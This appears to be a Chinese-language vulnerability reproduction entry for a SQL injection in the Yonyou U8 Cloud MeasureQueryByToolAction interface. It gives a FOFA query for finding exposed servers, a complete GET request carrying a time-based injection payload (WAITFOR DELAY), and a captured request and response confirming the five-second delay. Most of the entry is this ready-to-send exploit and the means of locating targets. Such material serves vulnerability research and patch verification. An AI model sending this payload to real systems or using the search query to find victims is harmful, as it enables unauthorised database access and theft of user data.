

# Y3-8用友-U8-Cloud-SQL

## 漏洞描述：

用友U8 Cloud MeasureQueryByToolAction接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

## 网站图片：



请下载新版UClient  
开启U8 cloud云端之旅



## 网络测绘：

### fofa语法：

FOFA: app="用友-U8-Cloud"

## 漏洞复现：

### payload:

```
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
```

### 效果图：

延时5秒

| Request  |  |  |  | Response   |  |  |  | Inspector                 |  |  |  |
|--|--|--|--|--|--|--|--|---------------------------|--|--|--|
| PrettyRawHex   |  |  |  | PrettyRawHexRender                                 |  |  |  | Request attributes2       |  |  |  |
| 1 GET  |  |  |  | 1 HTTP/1.1 200                                     |  |  |  | Request query parameters3 |  |  |  |
| 2 /service/~iufo/com.ufida.web.action.ActionServlet?   |  |  |  | 2 Set-Cookie: JSESSIONID=                          |  |  |  | Request body parameters0  |  |  |  |
| 3 action=  |  |  |  | 3 466F95CFADF5DE31F64205CDC3CA648E.server; Path=/; |  |  |  | Request cookies0          |  |  |  |
| 4 nc.ui.iufo.query.measurequery.MeasureQueryByToolActi |  |  |  | 4 HttpOnly   |  |  |  | Request headers6          |  |  |  |
| 5 on&method=execute&query_id=                          |  |  |  | 5 Content-Type: text/html; charset=UTF-8           |  |  |  | Response headers5         |  |  |  |
| 6 1%27);WAITFOR+DELAY+0:5%27--+ HTTP/1.1               |  |  |  | 6 Content-Length: 6109                             |  |  |  |                           |  |  |  |
| 7 Host:  |  |  |  | 7 Date: Mon, 01 Apr 2024 06:36:27 GMT              |  |  |  |                           |  |  |  |
| 8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X   |  |  |  | 8 Connection: close                                |  |  |  |                           |  |  |  |
| 9 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko)    |  |  |  | 9 <html>   |  |  |  |                           |  |  |  |
| 10 Version/12.0.3 Safari/605.1.15                      |  |  |  | 10 <head>  |  |  |  |                           |  |  |  |
| 11 Content-Length: 9                                   |  |  |  | 11 <meta content="text/html; charset=UTF-8"        |  |  |  |                           |  |  |  |
| 12 Accept-Encoding: gzip, deflate, br                  |  |  |  | 12 http-equiv="Content-Type">                      |  |  |  |                           |  |  |  |
| 13 Connection: close                                   |  |  |  | 13 <meta content="IE=EmulateIE8" http-equiv="      |  |  |  |                           |  |  |  |
| 14 Content-Type: application/json                      |  |  |  | 14 X-UA-Compatible">                               |  |  |  |                           |  |  |  |
| 15   |  |  |  | 15 <title>   |  |  |  |                           |  |  |  |
| 16   |  |  |  | 16 错误提示 - iUFO                                     |  |  |  |                           |  |  |  |
| 17   |  |  |  | 17 </title>  |  |  |  |                           |  |  |  |
| 18   |  |  |  | 18 <link href="/iufo/web/images/UF.ico" rel="iUFO" |  |  |  |                           |  |  |  |
| 19   |  |  |  | 19 >   |  |  |  |                           |  |  |  |
| 20   |  |  |  |  |  |  |  |                           |  |  |  |